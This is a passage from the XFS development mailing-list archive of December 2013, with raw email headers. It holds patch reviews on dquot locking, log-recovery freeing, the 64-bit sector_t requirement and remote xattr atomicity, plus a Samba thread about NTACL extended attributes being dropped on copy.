fs/xfs/xfs_trans.h | 2 +- fs/xfs/xfs_trans_resv.c | 10 +- fs/xfs/xfs_trans_space.h | 2 +- 18 files changed, 399 insertions(+), 494 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Fri Dec 13 14:27:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C15B67F52 for ; Fri, 13 Dec 2013 14:27:59 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D4778F8052; Fri, 13 Dec 2013 12:27:47 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6FE9B4266DC; Fri, 13 Dec 2013 14:27:47 -0600 (CST) Date: Fri, 13 Dec 2013 14:27:47 -0600 From: Ben Myers To: Christoph Hellwig Cc: Zhi Yong Wu , Zhi Yong Wu , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file Message-ID: <20131213202747.GL1935@sgi.com> References: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> <20131213163131.GC20803@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213163131.GC20803@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Dec 13, 2013 at 08:31:31AM -0800, Christoph Hellwig wrote: > Looks good, > > Reviewed-by: Christoph Hellwig Also discussed here: http://oss.sgi.com/archives/xfs/2013-07/msg00024.html Before pulling this in we should probably let Dave give another 2c. -Ben From samba@tlinx.org Fri Dec 13 15:33:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F1ADE7F52 for ; Fri, 13 Dec 2013 15:33:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E1081304043 for ; Fri, 13 Dec 2013 13:32:51 -0800 (PST) X-ASG-Debug-ID: 1386970364-04cb6c537c71fa40001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id S8HIsjbahER8GUok (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 13:32:47 -0800 (PST) X-Barracuda-Envelope-From: samba@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBDLWC4j014836; Fri, 13 Dec 2013 13:32:14 -0800 Message-ID: <52AB7CDC.5040801@tlinx.org> Date: Fri, 13 Dec 2013 13:32:12 -0800 From: "L.A. Walsh" User-Agent: Thunderbird MIME-Version: 1.0 To: Christoph Hellwig CC: Jeremy Allison , Samba Technical , xfs-oss Subject: Re: Security issue - storing NTACL's in non-NT-security-namespace References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> X-ASG-Orig-Subj: Re: Security issue - storing NTACL's in non-NT-security-namespace In-Reply-To: <20131213105314.GA2117@infradead.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1386970366 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143074 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/13/2013 2:53 AM, Christoph Hellwig wrote: > On Fri, Dec 13, 2013 at 12:39:40AM -0800, L.A. Walsh wrote: > >> Does it have to be under a "namespace" that gets *stripped* >> as soon as the file is copied or "mv'd to another >> samba share (i.e. the partition it was moved to is shared with the >> same permissions as the first one. >> > > Attributes never get "stripped", they simple don't get copied unless > explicit action is taken to do so. Setting trusted attributes up on a > new file will of course rely privilegues, exactly for the reasons > Jeremy pointed out. > ---- Stripping is the default action when copying or moving unless you take some *non-default* (and unspecified) action, AND providing you even know they are there.. The same is NOT true for the *real* xfs-ACLS -- which are copied w/o issue. Example, testfile.txt (saved via win7 as a normal user in my Doc dir: (letter on left is my abbrieviation Ishtar:law/Documents> attr -l testfile.txt U Attribute "DOSATTRIB" has a 56 byte value for testfile.txt R Attribute "SGI_ACL_FILE" has a 64 byte value for testfile.txt U Attribute "SAMBA_PAI" has a 31 byte value for testfile.txt S Attribute "NTACL" has a 328 byte value for testfile.txt Then copy using "explicit action" (-a) to save extended attributes: Ishtar:law/Documents> cp -a testfile.txt testcopy.txt Ishtar:law/Documents> attr -l testcopy.txt Attribute "DOSATTRIB" has a 56 byte value for testcopy.txt Attribute "SGI_ACL_FILE" has a 64 byte value for testcopy.txt Attribute "SAMBA_PAI" has a 31 byte value for testcopy.txt Now NOTE: if I don't use "explicit action" (-a) in my copy: Ishtar:law/Documents> /usr/bin/cp testfile.txt testcopy.txt Ishtar:law/Documents> attr -l testcopy.txt Attribute "SGI_ACL_FILE" has a 76 byte value for testcopy.txt ONLY the root-namespace ACL is save -- the user and security attributes are striped. If I try "mv"ing the -- on the same volume, I am "fine" (attributes don't get dropped). But if I cross a file boundary (to another XFS partition): Ishtar:law/Documents> mv testfile.txt /Share/CPAN/ mv: setting attribute ‘security.NTACL’ for ‘security.NTACL’: Operation not permitted Ishtar:law/Documents> attr -l /Share/CPAN/testfile.txt Attribute "DOSATTRIB" has a 56 byte value for /Share/CPAN/testfile.txt Attribute "SGI_ACL_FILE" has a 64 byte value for /Share/CPAN/testfile.txt Attribute "SAMBA_PAI" has a 31 byte value for /Share/CPAN/testfile.txt Only the Security attribute is stripped. the root namespace is copyable by a user Note. I saw this message for the 1st time, last week (the permission message on the move). Do you have any idea what might have caused such a change? Did Samba changed namespaces, or is some library refusing to copy this or maybe a kernel change? From bpm@sgi.com Fri Dec 13 15:37:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 295B37F52 for ; Fri, 13 Dec 2013 15:37:11 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0F2F78F8052; Fri, 13 Dec 2013 13:37:02 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id D42C84266DC; Fri, 13 Dec 2013 15:37:01 -0600 (CST) Date: Fri, 13 Dec 2013 15:37:01 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: require 64-bit sector_t Message-ID: <20131213213701.GM1935@sgi.com> References: <20131114164603.GA13628@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131114164603.GA13628@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Christoph, On Thu, Nov 14, 2013 at 08:46:03AM -0800, Christoph Hellwig wrote: > Trying to support tiny disks only and saving a bit memory might have > made sense on an SGI O2 15 years ago, but is pretty pointless today. > > Remove the rarely tested codepath that uses various smaller in-memory > types to reduce our test matrix and make the codebase a little bit > smaller and less complicated. > > > Signed-off-by: Christoph Hellwig > > diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig > index 399e8ce..5d47b4d 100644 > --- a/fs/xfs/Kconfig > +++ b/fs/xfs/Kconfig > @@ -1,6 +1,7 @@ > config XFS_FS > tristate "XFS filesystem support" > depends on BLOCK > + depends on (64BIT || LBDAF) There are quite a few 32 bit arches in use today. We need to continue to support them in XFS as long as they are supported by the kernel. Unless I have misunderstood what you are suggesting, I believe the answer to this patch must be a firm 'no'. Regards, Ben From david@fromorbit.com Fri Dec 13 15:49:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 281D07F52 for ; Fri, 13 Dec 2013 15:49:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 15DE68F8033 for ; Fri, 13 Dec 2013 13:48:57 -0800 (PST) X-ASG-Debug-ID: 1386970216-04cbb0416671e450001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 5Q3BNJnKPSJTs6ga for ; Fri, 13 Dec 2013 13:30:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApIIAB97q1J5LHyk/2dsb2JhbABRCIMKgzywYoVPgSQXdIIlAQEFJxMcIxAIAw4HAwklDwUlAyETHodlywsXFo4pVgeENgSYFYpMh0mDPig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 08:00:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VraJC-0005gi-KA; Sat, 14 Dec 2013 08:30:06 +1100 Date: Sat, 14 Dec 2013 08:30:06 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking Message-ID: <20131213213006.GU10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking References: <1386841258-22183-1-git-send-email-david@fromorbit.com> <20131212102507.GX10988@dastard> <20131213132807.GB13689@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213132807.GB13689@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386970216 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143074 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 05:28:07AM -0800, Christoph Hellwig wrote: > On Thu, Dec 12, 2013 at 09:25:07PM +1100, Dave Chinner wrote: > > > > From: Dave Chinner > > > > Now that we have an atomic variable for the reference count, we > > don't need to take the dquot lock if we are not removing the last > > reference count. The dquot lock is a mutex, so we can't use > > atomic_dec_and_lock(), but we can open code it in xfs_qm_dqrele and > > hence avoid the dquot lock for most of the cases where we drop a > > reference count. > > > > The result is that concurrent file creates jump from 24,000/s to > > 28,000/s, and the entire workload is now serialised on the dquot > > being locked during transaction commit. Another significant win, > > even though it's not the big one... > > Maybe I'm missing something, but shou;dn't the following be enough to > be a valid dqput (plus asserts & tracing): > > > if (atomic_dec_and_test(&dqp->q_nrefs)) { > if (list_lru_add(&mp->m_quotainfo->qi_lru, &dqp->q_lru)) > XFS_STATS_INC(xs_qm_dquot_unused); > } > > given that the only locking we need is the internal lru lock? Yes, I think it is. However, that involves changing all the callers of dqput to not hold the dqlock when they call, which is a bigger change than was necessary to avoid the lock contention problem. i.e. it doesn't seem to be in a fast path that needed immediate fixing, so I didn't touch it. > > > > While there, rename xfs_qm_dqrele to xfs_dqrele - the "qm" part of > > the name means nothing and just makes the code harder to read. > > Please keep that out of the patch. I don't mind dropping the > qm_ part, but there's a lot of functions that have it, and it should > be done for all of them at the same time. OK. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Dec 13 15:51:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E4B67F52 for ; Fri, 13 Dec 2013 15:51:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 553728F8033 for ; Fri, 13 Dec 2013 13:51:44 -0800 (PST) X-ASG-Debug-ID: 1386971479-04cb6c537d720410001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id NKITxbpxwNDyoiCX for ; Fri, 13 Dec 2013 13:51:21 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApEIAPiAq1J5LHyk/2dsb2JhbABZgwqDPLBihU+BJBd0giUBAQQBOhwjBQsIAw4KCSUPBSUDIROHfAfLDRcWjidYB4Q2BJgVkhWDPiiBLA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 08:21:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vradh-0005im-6g; Sat, 14 Dec 2013 08:51:17 +1100 Date: Sat, 14 Dec 2013 08:51:17 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: xattr atomicy Message-ID: <20131213215117.GV10988@dastard> X-ASG-Orig-Subj: Re: xattr atomicy References: <20131213115644.GA28551@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213115644.GA28551@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386971481 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 03:56:44AM -0800, Christoph Hellwig wrote: > On the nfsv4 list it was recently discussed how atomic / transaction > xattr updates are. It turns out none of that seems documented on the > syscall level, but for XFS we have an odd inconsistancy in that attr > updates generally are atomic and logged, except when we go out to > remote attributes in xfs_attr_rmtval_set, in which case attr updates > are no logged, and we do synchronous writes instead. Yes, but they are still atomic from a user and crash recovery point of view.... I'd been wondering a while back if we could make remote xattrs use an ordered buffer so we don't need to log it back can leave it for async write but still have it pin the log tail. However, I don't think we can do that as we can't recover the attr data that is lost if we crash. Hence I think our only option is to log it if we want ot make it an async write. > Besides the weird semantic difference that is impossible to explain to > users performance will also generally be bad with a synchronous buffer > write. Is there any good reason to not log the buffer for the remote > attributes? Given that attribute are limited to 64kB it's not like > the value is larger than large directory blocks that we already > support. Well, I think it's a bit different to the directory block case - the directory blocks are filesystem metadata, while xattrs contain user data. Hence if we log user xattrs a user can consume all of the log bandwidth writing xattrs and degrade the metadata modification performance of the rest of the filesystem. One issue that we'll need to deal with is that it may change the minimum log size calculations if we add 64k of data to the attribute transaction reservations. We currently calculate the remote attr reservation in xfs_log_calc_max_attrsetm_res() and that will need to change. If it pushes the remote attr reservation to be the largest transaction reservation, we could have log size issues on existing filesystems and that would lead to only enabling logging of remote xattrs if the log is physically big enough. The thing is, it's really only user data that ever ends up in a remote attr block - system xattrs like ACLs and selinux contexts, application xattrs from DMF, gluster, swift, Samba, etc rarely consume enough bytes to push the xattr out of line. So, IMO, the first question we need to answer is whether the current behaviour is actually a problem for anyone.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jra@samba.org Fri Dec 13 16:09:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 14CF47F52 for ; Fri, 13 Dec 2013 16:09:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 040938F8040 for ; Fri, 13 Dec 2013 14:09:38 -0800 (PST) X-ASG-Debug-ID: 1386972550-04cbb0416871f4e0001-NocioJ Received: from mail.samba.org (fn.samba.org [216.83.154.106]) by cuda.sgi.com with ESMTP id DCP6BbvWum31nKwG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 14:09:11 -0800 (PST) X-Barracuda-Envelope-From: jra@samba.org X-Barracuda-Apparent-Source-IP: 216.83.154.106 Received: from mail.samba.org (localhost [127.0.0.1]) by mail.samba.org (Postfix) with ESMTP id 96592AC3E2; Fri, 13 Dec 2013 15:08:49 -0700 (MST) Received: by mail.samba.org (Postfix, from userid 549) id 8B35DAC43A; Fri, 13 Dec 2013 15:08:49 -0700 (MST) Date: Fri, 13 Dec 2013 14:08:48 -0800 From: Jeremy Allison To: "L.A. Walsh" Cc: Christoph Hellwig , Jeremy Allison , Samba Technical , xfs-oss Subject: Re: Security issue - storing NTACL's in non-NT-security-namespace Message-ID: <20131213220848.GG1005@samba2> X-ASG-Orig-Subj: Re: Security issue - storing NTACL's in non-NT-security-namespace Reply-To: Jeremy Allison References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52AB7CDC.5040801@tlinx.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: fn.samba.org[216.83.154.106] X-Barracuda-Start-Time: 1386972551 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Fri, Dec 13, 2013 at 01:32:12PM -0800, L.A. Walsh wrote: > Now NOTE: if I don't use "explicit action" (-a) in my copy: > > Ishtar:law/Documents> /usr/bin/cp testfile.txt testcopy.txt > Ishtar:law/Documents> attr -l testcopy.txt > Attribute "SGI_ACL_FILE" has a 76 byte value for testcopy.txt > > ONLY the root-namespace ACL is save -- the user and security > attributes are striped. What is the namespace for SGI_ACL_FILE ? From david@fromorbit.com Fri Dec 13 16:11:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 98DD97F52 for ; Fri, 13 Dec 2013 16:11:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88B02304062 for ; Fri, 13 Dec 2013 14:11:18 -0800 (PST) X-ASG-Debug-ID: 1386972673-04cb6c537c720d20001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id ZPVb7iRRL1A7K17E for ; Fri, 13 Dec 2013 14:11:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApEIAL6Fq1J5LHyk/2dsb2JhbABZgwqDPLBihU+BJBd0giUBAQUnExwjEAgDDgcDCSUPBSUDIROIA8sSFxaOfweENgSYFYpMh0mDPig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 08:41:05 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vrawo-0005lS-DZ; Sat, 14 Dec 2013 09:11:02 +1100 Date: Sat, 14 Dec 2013 09:11:02 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve Message-ID: <20131213221102.GX10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-6-git-send-email-david@fromorbit.com> <20131213123205.GA17935@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213123205.GA17935@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386972673 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 04:32:05AM -0800, Christoph Hellwig wrote: > On Thu, Dec 12, 2013 at 04:34:37PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Fix the double free of the transaction structure introduced by > > commit 2a84108 ("xfs: free the list of recovery items on error"). > > In the process, make the freeing of the trans structure on error or > > completion of processing consistent - i.e. the responsibility of the > > the function that detected the error or completes processing. Add > > comments to document this behaviour so it can be maintained more > > easily in future. > > I don't really understand why we'd want to push the freeing into > more low-level functions. > > e.g. keeping it in xlog_recover_process_data vs the low-level > functions called by it not only reduces the amount of code, but also > is way more logical as we lookup trans there, so freeing it seems > more logical as well. > > > + if (trans) > > + xlog_recover_free_trans(trans); > > goto out_free_trans; > > > if (dp + be32_to_cpu(ohead->oh_len) > lp) { > > - xfs_warn(log->l_mp, "%s: bad length 0x%x", > > + xfs_warn(log->l_mp, > > + "%s: bad transaction opheader length 0x%x", > > __func__, be32_to_cpu(ohead->oh_len)); > > WARN_ON(1); > > - return (XFS_ERROR(EIO)); > > + xlog_recover_free_trans(trans); > > goto out_free_trans; > > > + /* > > + * If there's been an error, the trans structure has > > + * already been freed. So there's nothing for us to do > > + * but abort the recovery process. > > + */ > > + if (error) > > + return error; > > To me it seems we'd be better off doing a goto out_free_trans here > aswell, then remove the existing call to xlog_recover_free_trans in > xlog_recover_commit_trans for the error case, and keep it out of > xlog_recover_add_to_trans. I'll rework it, but hte main issue is that it has to be freed regardless of the error value in commit record processing, so it's not as simple as just freeing it on error.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From samba@tlinx.org Fri Dec 13 16:15:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F0FB47F52 for ; Fri, 13 Dec 2013 16:15:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E022B304064 for ; Fri, 13 Dec 2013 14:15:01 -0800 (PST) X-ASG-Debug-ID: 1386972874-04cbb0416671f6f0001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id 8UbXD8Q00Xd9FanV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 14:14:38 -0800 (PST) X-Barracuda-Envelope-From: samba@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBDME9sU029738; Fri, 13 Dec 2013 14:14:11 -0800 Message-ID: <52AB86B1.2070904@tlinx.org> Date: Fri, 13 Dec 2013 14:14:09 -0800 From: "L.A. Walsh" User-Agent: Thunderbird MIME-Version: 1.0 To: Jeremy Allison CC: Christoph Hellwig , Samba Technical , xfs-oss Subject: Re: Security issue - storing NTACL's in non-NT-security-namespace References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> <20131213220848.GG1005@samba2> X-ASG-Orig-Subj: Re: Security issue - storing NTACL's in non-NT-security-namespace In-Reply-To: <20131213220848.GG1005@samba2> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1386972877 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/13/2013 2:08 PM, Jeremy Allison wrote: > On Fri, Dec 13, 2013 at 01:32:12PM -0800, L.A. Walsh wrote: > >> Now NOTE: if I don't use "explicit action" (-a) in my copy: >> >> Ishtar:law/Documents> /usr/bin/cp testfile.txt testcopy.txt >> Ishtar:law/Documents> attr -l testcopy.txt >> Attribute "SGI_ACL_FILE" has a 76 byte value for testcopy.txt >> >> ONLY the root-namespace ACL is save -- the user and security >> attributes are striped. >> > > What is the namespace for SGI_ACL_FILE ? > root From david@fromorbit.com Fri Dec 13 16:17:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A70957F52 for ; Fri, 13 Dec 2013 16:17:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 948658F8049 for ; Fri, 13 Dec 2013 14:17:39 -0800 (PST) X-ASG-Debug-ID: 